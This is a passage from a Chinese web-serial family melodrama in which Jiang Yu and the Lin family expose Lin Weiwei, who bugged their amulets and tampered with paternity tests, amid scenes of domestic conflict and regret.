绝代风华的容颜,明明映着明媚的阳光,却透着浓浓的伤感。 那是闻讯赶来的江遇。 他知道林听还活着。 却不敢与她正面相见。 今日得知,她和宋律风火气冲冲地杀回了林家。 定是为了林建国要娶苏秀珍为妻这件事情而来的。 他怕她在林家受到欺负。 第一时间赶来了。 此时此刻,林听明明就在眼前。 她满眼的冰冷与麻木,却像是让他们隔着千山万水那般遥远。 他想要走近林听。 身体却仿佛被无形的绳索捆绑着,无法动弹。 也无法从林听身上移开视线。 他指尖冰凉,他目光凝结。 他听到了自己胸口有力又混乱的心跳声。 大概又是太高兴了。 高兴得冲昏了头脑,大脑来不及思考。 只是与他冷淡地对视了一眼,林听便抽开了眸光。 然后看向身侧的宋律风。 “律风,我们走。” 门口的江遇,她只是擦肩而过。 再没有看他一眼。 男人长臂一伸。 大掌落在她纤细白皙的胳膊处。 “听听!” 喉结滚动时,江遇喊出了他午夜梦回时,喊了千百遍的名字。 总是会梦见,她活着站在他面前。 此时此刻,活生生的她,真的就在他的面前。 手掌明显感觉到,林听的胳膊在挣扎。 他紧拽着,不放手,“听听,过去的一切都是我的错,你怎么怨我恨我都是应该的。” 林听什么也没有说。 她坚持抽开手臂。 过去的林听,早就死了。 死在她怀孕时,江遇不信她,和林家父子二人把她送进监狱的那一次。 也死在,他拒绝给她一盒救命药的那一次。 如果不是周自衡,此时的她早已只剩下一具白骨了。 她和江遇,什么也不想多说。 “江遇,该说的,我已经让周自衡转告过你了。” “你应该有自知之明。” 一句自知之明,让江遇再次伸出去的手,僵在半空。 他当然知道。 林听恨透了他。 恨到连见她一面,也会觉得反感厌恶。 她只想和他划清楚河汉界。 再也不要有任何瓜葛。 就连柚子,她都没有打算让他相认。 他又怎么可能不知道,他靠近她一步,就会将她的伤疤又血淋淋的撕开。 于是,那只想要抓住林听的手,只能痛楚又无助地垂落。 宋律风从他身边走过,看了他一眼,“你应该知道,林听有多讨厌你。无论你说什么,做什么,都是无济于事。” 说完,他追上林听。 两人从林家别墅走出去。 宋律风很欣慰,“小听,你现在说话中气十足,很有气场。” 再也不是那个病怏怏,说话都没声音的林听。 也不知道江遇和林家的人是不是眼睛瞎了。 当时林听病得那么重。 一个个的都跟眼瞎了似的。 全都不以为然。 宋律风觉得,现在病愈后的林听,脚下走路都带着风。 哪像以前,风一吹就能倒。 他走在她的身侧,一起来到悍马车前。 帮她拉开了车门,“小听,我很期待林建国要是知道林薇薇根本不是他亲生的,你才是他的亲生女儿时,他到底有多后悔。” 林听坐上车,“我不需要他的忏悔。” 她坚定道,“我只需要还我妈妈的清白。” 一个女人,有子-宫脱垂风险。 冒着要死的风险,给林建国生了一个儿子,这不不够。 因为林建国喜欢女儿。 妈妈又真的给他生了一个女儿。 这么好的妈妈,却要被林建国给诬陷。 妈妈的清白,比什么都不重要。 林振宇作为妈妈的儿子,他不替妈妈以讨回公道。 她这个女儿,一定会把这公道讨回来。 以慰妈妈在天之灵。 …… 离开林家的江遇,回到了珠江东岸。 这处别墅,原本是想留给柚子的。 他也从星河湾搬出来,住到了珠江东岸。 这里种满了林听喜欢的洋桔梗。 现在林听活着回来了。 真好! 他吩咐陈叔,“陈叔,帮我把花浇一遍,再施些肥。听听回来后,一定会很喜欢的。” 他必须为林听做些什么。 让林听慢慢原谅他。 以后,他和林听,还有柚子,一定能够破镜重圆。 他们一家三口,一定可以在这开满洋桔梗的珠江东岸别墅里,有着一片欢声笑语。 以后,柚子还将会有弟弟妹妹。 他是林听从小到大,唯一想要嫁的人。 他们约定好了以后彼此成为对方的拐杖,一起白发苍苍。 林听一定会原谅他的。 只要他足够用心弥补。 他把自己关在一间屋子里。 拿出一个黑板架子,在上面梳理着他与林薇薇之间的种种。 他严重怀疑林薇薇故意接近他,故意接近林建国林振宇。 但是他没有实质的证据。 对了。 车祸! 就是因为六年前的那场车祸。 他重伤在床,林薇薇无微不至地照顾他。 他才对林薇薇有了好感。 他终于理出了一丝线索。 还有。 林听病重带着柚子来找他。 他一共和柚子做了两次亲子鉴定。 一次林听知道。 一次林知不知道。 两次亲子鉴定,都被人做了手脚。 第一次亲子鉴定,他没让任何人知道,全程自己在跟。 第二次亲子鉴定,他让江书臣拿去外地做的,一共找了五家机构。 如此小心翼翼,依然被做了手脚。 就像有一双无形的眼睛,盯着他一样。 林薇薇到底是怎么知道,他要去做亲子鉴定的? 就在江遇百思不得其解之时。 脖颈上的平安符,绳子断裂,掉落下来。 平安符? 这是他车祸重伤昏迷后,林薇薇去清泉古寺,跪了九千九百九十九步,替他求来的。 哼! 怕是连这九千九百九十九步,也是胡弄人的。 平安符一定有问题。 江遇拆开看了。 只是一个普通的平安符。 没有任何异样。 很快,他把江书臣叫来了珠江东岸。 此时,已经是夜深了。 江书臣来到珠江东岸时,有些抱怨: “江遇,你能不能不要总是在深夜打电话?” “我和静姝刚刚进入气氛,你一个电话打过来打断我们的好事。” “让人很扫兴的。” 坐在吧台前的江遇,又倒了一杯红酒。 “小心纵欲过度,年轻轻轻肾衰竭。” “你才肾衰竭。”江书臣坐到江遇身边,哼了一声。 吧台上的红酒,江遇端起来,朝江书臣递过去, “林薇薇送给我的平安符,帮我拿去鉴定一下,看看里面是否有监听器。” “还有,六年前我出车祸的事,再去帮我查一下。” 脖颈上的平安符,早就被他取下来,放在了别处。 难怪江书臣今天没见到他,戴平安符。 江书臣接过酒来,细细想了想,“如果真是平安符有问题,那林薇薇的心机简直太深了。” …… 两日后。 珠江东岸。 江遇给自己布置了新的画室。 星河湾画室里,他为林听画下的那些画像,全都搬到了这里。 满画室林听的画像。 但此刻,江遇呆在画室,却并没有在画画。 桌台上,摆着许多工具。 江书臣进来时,他手里拿着几片破碎的陶瓷。 隐约可见,那是一个碎掉的陶瓷娃娃。 看了一眼,江书臣问: “江遇,我好像记得,这对陶瓷娃娃,是当初你和林听去景德镇时,你们亲自烧制的?” 那对陶瓷娃娃上,还有江遇亲自刻的字。 女娃娃刻着:赤绳早系。 男娃娃刻着:白首永携。 许多林听和江遇从小到大的记忆,被江书臣忆起。 江书臣可惜道,“江遇,这对陶瓷娃娃,怎么碎成这样了,还修复得回去吗?” 桌上的熔金炉里,是烧得滚烫的金水。 江遇准备用熔掉的金水,用以修复那些破碎的陶瓷。 他手上的活,并没有停下来,“一定可以修复的。” 不只这对陶瓷娃娃。 连他与林听布满裂痕的感情,他也要将它修复。 他说得坚定有力。 话外之意,江书臣又怎么可能听不明白。 “江遇,修复了又有什么用。” “小听是不会原谅你的。” 两日前,林听重回林家,江书臣也知道了。 他还没有和小听见面。 但他知道,小听肯定不会原谅江遇的。 看着修复陶瓷娃娃的江遇,江书臣又说,“你猜对了,林薇薇送给你的那条平安符,确实就是个监控器。只是技术高超,伪装得像真的平安符一样。这些年来,你一直没有发现。” 这时,江遇才停下手上的活,“林薇薇是时候,滚出林家了。” 是时候为林听做些什么了。 他有办法,让林薇薇现出原形,让林听光明正大的做回之前的林家千金。 第98章 让林建国信服 “这些年,林听过得很苦。” “她被林建国质疑不是亲生女的时候,我就该为她出谋划策。” 可是那个时候,他什么也没为林听做。 更是在不久后,诬陷林听和周自衡上了床,偷了林江医药的研发机密。 联合着林振宇林建国父子二人,把她送进了监狱。 “书臣,我没有办法想象,林听在监狱里生下柚子,是有多艰难困苦。” “更没有办法想象,她得知自己命不久矣,走投无路找到我,被我拒绝,被我侮辱的绝望和痛苦。” 但凡他能对林听有半分的信任。 林听和柚子也不会如此命运多舛。 “书臣,我一定要让林听做回以前那个,快快乐乐的林家千金。” 他说得斩钉截铁。 江书臣用一口沉沉的叹息声,来回应他。 随即,看着满案台的陶瓷碎片。 拍拍江遇的肩,道: “江遇,这两只碎掉的陶瓷娃娃,拼不回去了。” “你看,它都粉碎了。” “林听的心,又何尝不是已经粉碎了。” 案台上的陶瓷娃娃,全部是碎的。 江遇用钳子,夹起一片碎片,拼凑在缝隙的接口处。 烧得滚烫的金水,被他倒在缝隙处。 以此作衔接。 他埋头于案台前。 抱着必将它修复如初的决心,认真苦干着。 “一定可以修复。” 这声音看似坚定,却带着某种苍凉。 大概连江遇也知道,他和林听很难再破镜重圆。 可是他手下修复瓷片的动作,依然没有停。 “唉!”江书臣摇摇头。 不知道说什么好。 早知今日,何必当初! “江遇,你还是不太了解小听。” “她根本不想做回什么林家千金大小姐。” “她回林家,只不过是想还唐阿姨一个清白。” “你永远不了解她。” “就像现在一样,你想修复你们的感情,她却只想你离他远一点,不要去打扰她。” 修复着陶瓷娃娃的江遇,停下手上的动作。 缓缓抬头。 “你就这么喜欢补刀子?” “我是劝你清醒。” 江遇继续埋头,“我说能修复,就一定能修复。” 见他如此执迷不悟,江书臣只好摇摇头,无语走人。 …… 江家老宅。 这是连续三个多月来,江遇第一次回父母这里。 此刻是傍晚六点半。 鹏城的太阳刚刚落下。 江遇顶着一头晚霞,踏入江家老宅的餐厅。 父亲江庆年和母亲陈叔敏,一起坐在餐桌上。 两人的面色有些不太对劲。 见了江遇,阴沉着脸,笑也不笑一下。 原本江庆年和陈淑敏,是让江遇回老宅吃晚饭的。 此刻,餐桌上却摆着一套空空如也的餐碗盆盘。 什么食物也没有。 见到这种情况,江遇知道。 父母这是又要通过绝食,逼他做他不想做的事情了。 从小到大,都是如此。 他讨厌父母的这种冷暴力。 三十二年,从他记事起,父母一直采用这样的沟通方式。 江遇快受够了。 看了看旁边的老管家,江遇同样阴沉着脸,问: “李叔,林建国来过了?” 站在餐桌前的陈叔,点点头,“是的,江少。” “坐吧。”江母陈淑母,抬眸看了江遇一眼。 江遇站在原地,没有落座的意思。 今日父母找他回江家老宅,意欲何为。 他大概猜到了。 一定是林建国想通过父母,对他施压。 让他娶林薇薇。 两日前,隐迹藏匿的林听重回林家。 林建国一定是怕了。 大家都以为林听已经死了的时候,他便对林薇薇不理不睬。 现在林听活着回来了,他更不会再娶林薇薇。 站在原地的江遇,哼了一声: “如果你们想通过绝食,让我娶林薇薇,那么就尽管绝食吧。” “我不可能娶她。” 表明态度后,他一刻也不想呆在这里。 从小到大,他与父母的关系向来都不融洽。 他们这间只有命令与服从的关系。 理解、包容、温情,从来没有过。 以前只要他们一绝食,他不想做的任何事情,他都会答应。 这一次,为了林听和柚子,为了自己,他不会再妥协。 说完,大步离开。 江庆年给老管家李叔,递了一个眼神。 李叔上前,拦着江遇,“江少,你听你爸妈把话说完再走,难得回来一趟。” 是啊,难得回来一趟。 说是回家共进晚餐。 他们却只准备了一桌子的空碗空盘。 唱这出苦肉计。 李叔为人宽厚善良,小时候对江也遇颇为照顾。 他是尊重李叔的,没有立即离开。 可即便是留下来,他仍然只是背对着江庆年与李淑敏,没有转身回头。 餐桌上一堆空盘子空碗面前的江庆年,沉沉地吸了一口气: “林建国月底举行婚礼。” “他放了狠话,要你和林薇薇一起举行婚礼,并且和林薇薇领证。” “否则他将在婚礼当天,宣布退股。” “这一次,我不管林听是怎么活过来的,也不管那个小女孩到底是不是你亲生的,都不重要。” “你必须娶林薇薇。” “你什么时候答应,我和你妈什么时候恢复一日三餐。” “否则,你就等着给我们收尸。” 从小到大,这个办法百试百灵。 江遇没有不妥协的。 可今时今日,江遇满脑子都是林听和柚子。 他愧对林听和柚子太多。 谁来威胁他,都不管用。 他背对着江庆年和陈淑敏,语气坚定而冷漠: “爸妈早年在昆山坟地买的夫妻墓,正好可以派上用场。” “如果二老绝食而亡,我会将二老风光大葬。” “你这个逆子!”江庆年抄起桌上的空盘子,狠狠砸向自己的儿子。 哐当一声。 盘子砸中江遇的后脑勺。 落在地上,摔成碎片的同时,染上鲜血。 江遇的脑袋,被江庆年开了瓢。 鲜血延着他的后脑勺,往下流淌,染得他白色的衬衣领口一片鲜红。 陈淑敏早已心疼坏了。 她赶紧上前查看江遇的伤势,“阿遇,你何必跟你爸犟呢。你知不知道,林建国要是退股,那是让林江医药大地震。” 她紧紧按住儿子流血不止的后脑勺。 鲜血从缝里流淌下来。 即使这样了,陈淑敏也没有说要去医院。 而是继续劝说。 “而且你林叔放了狠话,要是你不娶林薇薇。” “他不但要退股,还要和周家聪明。” “到时候林江医药必死无疑。” 李叔在旁边劝道,“太太,有什么事稍后再说吧,先送江少去医院。” 这血怎么流着,怎么行啊? 江遇这样流着血,江庆年和陈淑敏,却是一个也没开口要送他去医院。 他推陈淑敏的手,“那就一起死。” 林听才是林家的千金大小姐。 等林听恢复了身份,父母会同意他们破镜重圆。 他们只在乎林家千金的身份。 如果不能和林听柚子,一家团圆,他也不想活。 父母的威胁,根本没用。 丢下这句话,他离开了江家老宅,一个人去医院包扎。 幸好,只是小伤。 没有伤到脑骨。 从医院出来,他坐进了那辆黑色的红旗国礼,给林建国打了一个电话。 “林叔,见个面。如果你答应我的条件,我就娶林薇薇。” 只要林建国同意见面,他就有办法让林建国信服,林薇薇根本不是他的亲生女儿。 第99章 林薇薇终于露出马脚 星河湾。 静怡别苑。 整日以泪洗面的林薇薇,让林建国心都要碎了。 他亲自给林薇薇切了一盘水果。 坐下来,叉着她最爱吃的莲雾,喂到她的嘴边。 “薇薇,别哭了,江遇刚刚答应了,他会娶你。” “看来,爸爸的施压管用了。” “我现在去和江遇见一面。” 林薇薇才是他的亲生女儿。 当初他不知道林听是唐婉华偷男人生的之前,为了林听,他一直把薇薇藏在外面。 亏欠薇薇太多。 就算林听活着回来了,他也不会支持林听和江遇破镜重圆。 别说一个江遇,哪怕是天上的星星,他也会为薇薇摘下来。 他拍了拍林薇薇的手,“放心,爸一定让你美美的嫁给江遇。” 林薇薇的哭声止住,“爸爸,你对我太好了。” 林薇薇突然就不怕了。 就算林听活着回来又怎样? 当初她不只送了江遇护身符。 她还送了林振宇,林建国护身符。 里面都有监听器。 他们的一举一动,她都知道。 想要知道她的身世,门都没有。 只要林建国和林振宇一直护着她,她就可以永远当她的林家千金大小姐。 …… 夜里八点。 一辆黑色的红旗国礼,停在星河湾静怡别苑的大门口。 江遇亲自为林建国开了门车。 上车后,林建国苦口婆心道: “江遇,林叔利用你父母向你施压,希望你理解。” “毕竟薇薇才是我的亲生女儿。” “林听她始终是唐婉华跟别人生的。” “我不护着薇薇,谁还能护着她?” 见江遇后脑勺包着纱布,林建国关切地问了一句: “江遇,你后脑勺怎么了?” 开车的江遇,淡淡开口,“到地方了再聊。” 他把林建国载到了珠江南岸。 这处的别墅,林建国记得。 那是当初江遇为林听准备的婚房。 下车后,见到前前后后的院子里,种满了林听最喜欢的洋桔梗,林建国脸色阴沉下来。 “江遇,你种这么多洋桔梗是什么意思?” “你答应了要娶薇薇,心里又想着林听,你让薇薇怎么样?” 江遇见林振宇停下来,他也停下来。 满园子的洋桔梗,让他想起许多,他与林听从前的甜蜜来。 “难道林叔忘了,以前在林家老宅,也种满了听听最喜欢的洋桔梗。” “并且还是林叔您,亲自种的。” “你每日精心呵护那些花,只为让听听开心。” 过去的事情,林建国怎能忘。 林听是他从小又当爹又当妈,一把屎一把尿,亲手拉扯大的。 林听能够活着回来,他高兴还来不及。 可是这孩子一回来,把林家闹得鸡犬不宁,还要阻止他与秀珍的婚事。 这会儿,林建国心里还憋着气。 愤怒着。 林建国黑着脸:“我还是那句话,如果你不娶薇薇,我会一直向你父母施压。” 说着,他又道,“我记得,你高中填自愿那一年,你爸妈绝食了四天。” “林叔,你过来。”江遇朝林建国走近。 二话不说,从他脖子上,摘走了他常年不离身的护身符。 林建国:“你干什么?” 根本来不及阻止。 江遇已经把护身符,递给了从别墅里走出来的江书臣。 江书臣立即把护身符,放进一个特殊的盒子里: “林叔,你和江遇还有林振宇身上的这枚护身符,都装有监听器。” “江遇的那枚,我亲自拿去做的技术鉴定。” “这些年,你们的一举一动,都被林薇薇苏秀珍母女俩掌握了。” “不信的话,你听江遇的。” “只要你照着江遇所说的去做,一定能看清林薇薇苏秀珍母女俩的真面目。” 林建国怎肯信这三言两语间的挑拨。 这些年苏秀珍和林薇薇对他有多好,他心知肚明。 这时,江遇说,“林叔,只要你答应照着我说的去做,我也答应你,娶林薇薇。” 他接着又道,“但前提条件是,林薇薇必须是你的亲生女儿。” 林建国思考了几秒钟。 依旧脸色阴沉。 看样子,是根本不相信江书臣和江遇二人。 江书臣劝道,“林叔,当年你和林听的亲子鉴定,和柚子与江遇的亲子鉴定,一样被人做了手脚。都是林薇薇母女俩的惯用手段了。” 脸色严肃的江遇,也发了狠话,“如果林叔不答应照做,就是让我父母绝食去世,我也不会娶林薇薇。” 林建国:“是你说的,只要能够证明,薇薇是我的亲生女儿,你就娶薇薇?” 江遇:“一言九鼎。但是,还需要林叔和我演一场戏。” 林建国被摘下来的护身符,已经放到了盒子里。 那盒子是一个信号屏蔽器。 他们刚刚说的话,林薇薇母女俩,根本没有听见。 接下来,才是江遇想让林薇薇母女俩听见的。 …… 星河湾。 静怡别苑。 林薇薇的卧室里,两母女戴着耳塞,偷偷窃听着。 “怎么回事,怎么没声了?” “再等等……妈妈,又有声音了。” 这一听,林薇薇和苏秀珍吓了一大跳。 “江遇竟然怂恿林建国和你做亲子鉴定?” “幸好有当年你送给他们的监听器。” “不然这次就露马脚了。” …… 两日后。 星河湾。 静怡别苑。 林建国和林振宇,还有苏秀珍林薇薇四人,坐在餐桌前,一起吃着晚餐。 再有一个星期,就是林建国和苏秀珍的婚礼了。 林振宇给苏秀珍夹了菜,高兴道,“苏姨,这些年你跟我爸,委屈你了。酒店和婚礼事宜,我都安排好了,到时候让我爸把你风风光光地娶进林家。” 说着,又拍了拍林薇薇的手背,“薇薇,你也别担心。江遇已经答应和你重新补办婚礼了。” 可是,今天的林建国,却并没有笑容。 他看着苏秀珍和林薇薇母女俩。 他们当真一直在欺骗他? 当初,他和小听的亲子鉴定,当真被这两母女做过手脚? 他不相信。 可是江书臣和江遇说得信誓旦旦。 他决定按照江遇所说的做。 想到终于能够名正言顺,苏秀珍特别开心。 她对林振宇说了谢谢,又给林建国夹了菜,“老林,你今天怎么了,有心事。” 林建国:“没事。振宇说得对,这些年辛苦你了。过几天,我会风风光光地把你娶进门。” 晚饭结束后。 林建国让曹叔拿走了林薇薇用过的筷子和碗,还有杯子。 上面有林薇薇的唾液。 可以和他做亲子鉴定。 然后,他特意让曹叔,把碗筷杯子,放进了箱子里。 十分钟后。 苏秀珍将林建国林振宇支开。 林薇薇破坏了林家的监控系统,然后悄悄潜入书房。 那个放了碗筷杯子的箱了,被林薇薇打开。 林振宇用过的碗筷杯子,被她替换进去。 她不是林建国亲生的。 林振宇总是吧。 就在这时,门吱呀一声开了。 第100章 我要见小听 门口的声音,让林薇薇吓了一大跳。 哐当一声。 手中的玻璃杯掉落在地上。 玻璃碎片溅起来,割破了林薇薇裙摆之下,那白皙细腻的小腿。 鲜血涌出来。 可林薇薇却丝毫不察觉。 她吓得心跳漏掉似的,惊慌失措地看着推门而进的林振宇,以及林建国二人。 这两父子不敢置信地看着林薇薇。 林建国缓步走进。 眼里有着太多的失望、震惊、难以接受,以及深深的痛楚。 “薇薇,江遇说的果然没错。” “你害怕和我做亲子鉴定,送检的杯子果然被你调包了。” 他一步步走近桌前的林薇薇。 一把老骨头快要垮掉了。 连声音也要垮掉了: “薇薇,多年前小听和我做的亲子鉴定,是不是也是这样被你给调了包?” “同样的伎俩,你是不是也用在了小柚子身上?” 他不敢相信这是真的。 明明他的薇薇是那样乖巧可爱,善解人意,知冷知热。 可是,刚刚林薇薇换掉了要拿去做DNA鉴定的杯子。 多年来,林建国对林薇薇的信任,突然间土崩瓦解。 瓦解的不只是这份父女间的信任,更是他所坚守的父爱。 他那么信任林薇薇。 林薇薇从小被养在外面,他对她有着太多的亏欠。 为了弥补林薇薇。 他对林薇薇的疼爱,近乎是超过了他从小养在身边的林听。 可是这份父女情,到头到竟然是假的? 假的,假的!! 哈哈哈哈……林建国一声低低的疯笑。 这笑声惹得林薇薇刷一下哭出来。 眼泪浸在眼眶里。 她用力眨了眨眼。 泪水落下来。 “爸,你怎么可以这样冤枉我?” “我就是看见这个盒子很好奇,以为是你送给我的礼物,想拿出来看看而已。” 信任崩塌的,何止是林建国。 还有旁边额角紧崩的林振宇。 他扶住气得快要晕倒的林建国,无比失望地望着林薇薇。 “薇薇,那你为什么要换掉里面的杯子?” “如果不是因为心虚,你干嘛要换掉它?” “还有,你送给我和爸还有江遇一人一块的护身符,装了监听器,对不对?” “所以你才知道爸要和你做亲子鉴定。” “所以你才要换掉这个沾有你唾液的杯子。” 林振宇太失望了。 为了林薇薇,他竟然一次又一次地逼迫他从小到大,最疼爱的妹妹——林听。 为了成全林薇薇和江遇,他甚至不惜把林听送到郑辉那个王八蛋的床上去。 天崩地裂也不足以形容,他此刻的心情。 啪! 一个巴掌,将林薇薇扇趴在桌台上。 林薇薇爬起来,捂着火辣辣的脸颊,泪流成河,“哥,你污蔑我。我就是好奇进来看看。” “还狡辩!” 啪! 又是一个巴掌。 林振宇扇的掌心发红。 疼痛的是他的掌心,更是他的胸口。 他竟然为了这么一个心机的女人,深深地伤害了他最亲最爱的妹妹。 这个时候,江遇从门外走进来。 “现在你们相信我所说的话了?” 他目光阴冷地落在林听身上。 拎起林听的衣领,毫不怜惜地将她扯起来。 “江遇,你弄痛我了,你放手。” 那只大掌,丝毫不松手。 反而更加用力。 林薇薇领口被勒紧。 呼吸提不上来。 脸涨得通红。 可是江遇没有半点怜香惜玉。 他一把将她扔在地上。 “偷机密的是你。” “冒充林家千金的是你。” “害林听的也是你。” “林薇薇,你做过多少好事,你最好一五一十老实交代。” 跌在地上的林薇薇,依旧哭着。 她心里害怕极了。 今日偷换做DNA鉴定的杯子,被当场撞破。 实在无法狡辩。 门口已经围满了林家的佣人。 和前些日子林听突然杀回林家一样。 如果她承认了,这些都是她做的,那她就真的彻底完蛋了。 但他们根本没有实质的证据。 她不会承认的。 她梨花带雨地爬起来。 委屈地看着书房里的三人。 “爸……” 林建国气得快要吐血,“别叫我爸。” “哥!”她又委屈地看向林振宇。 林振宇更是想掐断她脖子,直接送她上西天。 他咬咬牙,“我不是你哥。” 眼泪从林薇薇的眼眶里,大颗大颗地落下来。 她哭得抽泣起来。 整个娇弱的身子快要哭晕过去。 以往若是如此,林建国和林振宇早就心疼死了。 今日二人无动于衷。 林建国这才想起来,以往的每一次,林薇薇都是用这一招让他对她心软。 她哭着说,别人笑话她是个私生女。 他便不顾林听的感受,把她接回了林家。 林建国吼了一声,“别在我面前哭,要哭出去哭。” 这个时候,苏秀珍从外面匆匆忙忙地挤进来。 看到在场的人,一个个的脸色都不对劲。 她故意问,“老林,这是怎么了?” “苏秀珍,我问你,林薇薇到底是谁的女儿?”林建国一口恶气堵在胸口。 快要被当场气死! 呜呜呜…… 苏秀珍立即委屈大哭。 “林建国你个没良心的。” “我名没分跟了你这么多年,薇薇从小到大遭人白眼。” “我们母女俩吃了这么多苦,你竟然怀疑我们。” “我不活了。” 说着,苏秀珍一头撞在墙上。 咚一声。 直直栽倒。 “妈妈,妈妈,你别吓我。” 林薇薇扑过去,抱起栽倒时,额头鲜血直流的苏秀珍。 慌张中,她抬头望着无动于衷的林建国,声声哀求着,“爸,快叫救护车啊,爸,我求你了,叫救护车。” …… 医院里,苏秀珍孤零零地躺在病床上。 她醒来的时候,只有林薇薇陪着。 嘶……爬起来的时候,额头好痛啊。 林薇薇赶紧往她身后,塞了一块枕头,“妈妈,你别动,你把家里的玻璃撞碎了,额头也破了,缝了十几针呢。” 苏秀珍问,“你爸呢?” 林薇薇哽咽着,“他没来,妈妈,这次我们是不是要被赶出林家了?” “别慌,妈妈来想办法。” 说着,苏秀珍对女儿比画着。 好半天,林薇薇才弄明白,妈妈是要纸和笔。 拿到纸和笔的苏秀珍,在纸上写着: 别说话,怕林建国也装有监听器。 现在开始,听我的。 不管他们说什么,打死也不承认。 反正他们没有实质的证据。 我们还有机会逆风翻盘。 现在开始,以退为进。 …… 星河湾,静怡别苑。 沙发上的林建国,在那里坐了整整一天了。 不吃不喝,呆呆地坐着。 他坚守的东西,彻底坍塌 虽然现在并不能证明,林薇薇不是他的亲生女儿。 但八九不离十了。 为了这么一个心机女,他竟然把自己从小疼到大的女儿送进了监狱。 “爸,你吃点东西吧。”林振宇怕他身体遭不住,端着吃的喝的,在旁边劝了又劝。 其实,这一整天他也没吃什么东西。 林建国捶着胸口,只恨自己老糊涂了。 “振宇,你知道小听现在在哪里吗,怎么才能联系上小听?” 林振宇失落地摇了摇头。 林听在哪里,他也不知道。 “快把江遇找过来,他肯定知道小听在哪里,我要见小听。” 第101章 林听才是真千金 半个小时后,林振宇和林建国父子二人,再次见到江遇。 此时此刻,江遇踏进林家客厅。 看着沙发上没了精气神的林建国,他半点也同情不起来。 这都是林建国自找的。 自己的亲生女儿不认。 怪谁呢? 活该! 可他又何尝不是活该? 沙发上的林建国激动地起了身。 “江遇,你知道小听在哪里吗?你带我去找她,我要见她。” 说着,林建国又侧头去吩咐身侧的林振宇。 “振宇,快去买一束小听最喜欢的洋桔梗。” “我们一起去见小听。” 他说得坚定有力。 仿佛只要他去见了小听。 小听就一定能原谅他似的。 这样的林建国,让江遇觉得悲哀。 “林叔,你以为现在的林听,是你想见就能见的?” 被打击的林建国,脸上的兴奋消失不见。 一股浓浓的愁绪,挤上眉梢。 “小听说,她不想见我?” 回应林建国的,是江遇沉沉的叹息声。 连他也不知道,到底要怎样才能联系上林听。 自从上次他去过东江幼儿园后,柚子和落落换了学校。 他去教育局打听。 教育局回他两句话: 江总,有人特意吩咐过,如果你来打听林瑾一的消息,我们无可奉告。 另外,林瑾一的妈妈让我们代她转告您:请您离她远一点,她不想和您再有任何瓜葛。 她身边有宋律风。 还有重新执掌周家家主之位的周自衡。 鹏城那么大。 林听想要在这个城市销声匿迹,有宋周这两个大人物的协助,太容易了。 胸口阵阵窒息的江遇,不答,只问: “林叔,我只想问你,你将如何处置林薇薇和苏秀珍两母女?” “还有,你什么时候澄清林听林家千金的身份,什么时候还林听清白?” “还有林听母亲唐婉华的清白?” 这件事情,林建国心中有数。 他其实已经有安排了。 林振宇放下林建国一口不喝的汤,起身,走到江遇面前,道: “放心,我们会把小听风风光光接回林家的。” 江遇的提醒,让林振宇突然意识到。 自己一直都错怪妈妈唐婉华了。 那是他的亲妈。 他竟然听信谗言,误会妈妈在外面偷男人。 甚至支持苏秀珍,光明正大地嫁进林家。 那日林听气冲冲地杀回林家,他竟然当着林听的面,侮辱妈妈。 真是不该啊。 如此一来,江遇眉眼间终于有了一丝欣慰: “当年的商业机密被窃案,应该重新彻查。” “现在我们没有十足的证据指控林薇薇,但可以申请翻案重查。” 林振宇点点头,“江遇,现在我全力配合你。” 想到他很有可能冤枉了自己的亲妹妹。 认了一个贼人做妹妹。 林振宇肠子都悔青了。 现在他想立刻,马上见到林听。 可是连林听住在哪里,电话号码是多少,全都不知道。 今天林薇薇的事情东窗事发。 苏秀珍血溅当场。 他和林建国已经给宋律风打过许多次电话。 他甚至去了君悦府的宋家别墅。 求着想见林听一面。 但宋家的人把他轰出来了。 根本见不着林听的面。 悔恨如刀。 刀刀致命。 想到自己那可怜的妹妹。 那一年,整个林家乃至是整个上流圈子,都不再将她当作林家的千金。 一落千丈中,她被林家人冷落,也受尽圈中人的冷眼与非议。 又被自己的亲哥哥亲生父亲,送进监狱里。 柚子在监狱里发高烧,烧到惊厥昏迷,他竟然没有第一时间找关系,帮她把柚子送医。 他反而让狱警给她带话。 说是普通的感冒又不会死人。 还说,一个偷人而来的野种,死了也就死了。 他说的简直不是人话。 不,他简直不是人…… 啪!啪啪啪啪! 林振宇猛地扇了自己几个耳光。 “我不是人。” “我简直就是畜生。” 悔恨万千的林建国,也想扇自己耳光: “振宇,想办法找到你妹妹,把她和柚子接回家。” “这些年,她们两母女在外面吃了太多的苦,受了太多的罪。” 林振宇擦着泪,道,“爸,我会想办法把妹妹和柚子接回来的,您也要保重身体。” 玄关处。 林薇薇听着三人的对话,指甲深深地掐进掌心里。 如今还没有实质的证据证明,她不是林建国的亲生女儿。 可是他们却已经想着,要重新翻案。 要告她。 要把林听接回林家。 幸好,当初妈妈留了一手。 她收拾了情绪,大大方方地走进去。 她的脸上,挂着一如既往的,委屈的泪水。 这张委屈痛哭的脸,曾经可以在一瞬间,就撕碎林建国的心。 他会心疼地想要把天上的星星,替林薇薇摘下来。 此刻,林建国没有半点怜惜。 他的脸色刷一下,黑沉沉起来。 “林薇薇,我会向公安机关,提起亲子鉴定申请。” “就算你有通天的本事,也没有办法再对生物样本做什么手脚。” “等拿到实质的证据……” 不等林建国说完,林薇薇在哽咽中,斩钉截铁: “爸爸,我是你的亲生女儿,千真万确。” “我同意做亲子鉴定。” “如果证明我不是你亲生的,我和我妈会收拾东西,立马滚出去。” “六年前的机密被窃案也好,姐姐和柚子的亲子鉴定被人做手脚也好,都不是我干的。” “我身正不怕影子斜。” 说着,林薇薇干脆利落地拔了自己的头发。 双手奉上。 “妈妈在医院里缝了十三针。” “她都快哭死了。” “我怕妈妈想不开,我要赶紧回去照顾她。” 离开之前,林薇薇故意抹着汹涌的泪水。 一副受了天大委屈的模样。 她走出每一步都快晕倒的摇摇欲坠模样。 走了几步,停下来,回头抹泪。 “爸,妈妈让我带给您一句话。” “反正这些年她跟着您也无名无份,什么也没有,您要是不要她了,您随时跟她说一声,她会识趣离开的。” 她又委屈地看向江遇。 哽咽,又道,“江遇,我知道,你想和姐姐破镜重圆,但是你也用不着如此对我和我妈泼脏水。” 说完,痛苦离开。 客厅里只留下江遇、林振宇和林建国,还有林家的佣人。 林建国脑子里是林薇薇委屈痛哭,支离破碎的身影。 可转念一想,如果她心里没鬼,她为什么要偷偷换提,他做亲生鉴定的杯子? 他把林薇薇拔下来的头发,递给林振宇,“去找公安局的法医部门,一步不离,亲自盯着。” 离开林家后,林薇薇联系了周六少。 见面地点是老地方——一处废弃的工厂仓库。 如约而至的,不是周六少。 